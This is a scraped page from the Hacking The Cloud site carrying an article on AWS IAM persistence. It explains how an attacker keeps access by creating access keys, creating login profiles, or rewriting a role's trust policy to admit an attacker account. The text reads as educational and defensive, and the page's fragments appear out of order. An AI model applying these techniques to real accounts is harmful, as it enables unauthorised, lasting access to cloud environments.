class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-user-access-keys class=md-nav__link> <span class=md-ellipsis> IAM User Access Keys </span> </a> </li> <li class=md-nav__item> <a href=#iam-user-login-profile class=md-nav__link> <span class=md-ellipsis> IAM User Login Profile </span> </a> </li> <li class=md-nav__item> <a href=#iam-role-assume-role-policy class=md-nav__link> <span class=md-ellipsis> IAM Role Assume Role Policy </span> </a> </li> <li class=md-nav__item> <a href=#survive-access-key-deletion-with-stsgetfederationtoken class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=#ec2-instance-persistence class=md-nav__link> <span class=md-ellipsis> EC2 Instance Persistence </span> </a> </li> <li class=md-nav__item> <a href=#lambda-persistence class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=#user-data-script-persistence class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/iam_persistence.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>AWS IAM Persistence Methods</h1> <p>After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.</p> <p>More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.</p> <h2 id=iam-user-access-keys>IAM User Access Keys<a class=headerlink href=#iam-user-access-keys title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <ul> <li><a href=https://sysdig.com/blog/scarleteel-2-0/ >SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto</a> </li> <li><a href=https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/ >Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 17h2v-2h-2zm0-10v6h2V7zm-9 2h5.5L11 3.5zM4 2h8l6 6v12c0 1.11-.89 2-2 2H4a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m9 16v-2H4v2zm3-4v-2H4v2z"/></svg></span> <strong>Required IAM Permission</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-access-key.html>iam:CreateAccessKey</a></li> </ul> </li> </ul> </div> <p>AWS <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html>IAM users</a> can create pairs of <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html>access keys</a> to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >access</a> to those credentials to perform actions as the associated user.</p> <p>Access keys created this way are long lived (starting with <a href=https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ >AKIA</a>), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.</p> <div class="admonition tip"> <p class=admonition-title>Tip</p> <p>Aside from the opportunity to maintain persistence in an AWS environment, <code>iam:CreateAccessKey</code> can also potentially be used for lateral movement to create credentials for other users.</p> </div> <h2 id=iam-user-login-profile>IAM User Login Profile<a class=headerlink href=#iam-user-login-profile title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <ul> <li><a href=https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/ >Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 17h2v-2h-2zm0-10v6h2V7zm-9 2h5.5L11 3.5zM4 2h8l6 6v12c0 1.11-.89 2-2 2H4a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m9 16v-2H4v2zm3-4v-2H4v2z"/></svg></span> <strong>Required IAM Permission</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-login-profile.html>iam:CreateLoginProfile</a></li> </ul> </li> </ul> </div> <p>AWS <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html>IAM users</a> can be configured to access the AWS console with a username and password. An adversary with the <code>iam:CreateLoginProfile</code> permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.</p> <h2 id=iam-role-assume-role-policy>IAM Role Assume Role Policy<a class=headerlink href=#iam-role-assume-role-policy title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 17h2v-2h-2zm0-10v6h2V7zm-9 2h5.5L11 3.5zM4 2h8l6 6v12c0 1.11-.89 2-2 2H4a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m9 16v-2H4v2zm3-4v-2H4v2z"/></svg></span> <strong>Required IAM Permission</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/update-assume-role-policy.html>iam:UpdateAssumeRolePolicy</a></li> </ul> </li> </ul> </div> <p>In order to assume an <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html>IAM role</a>, a <a href=https://docs.aws.amazon.com/workdocs/latest/developerguide/wd-iam-grantdev.html>role trust policy</a> must be attached to it. This policy specifies the identities that are permitted to assume the role.</p> <p>An adversary could invoke <code>iam:UpdateAssumeRolePolicy</code>, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#iam-user-access-keys class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing 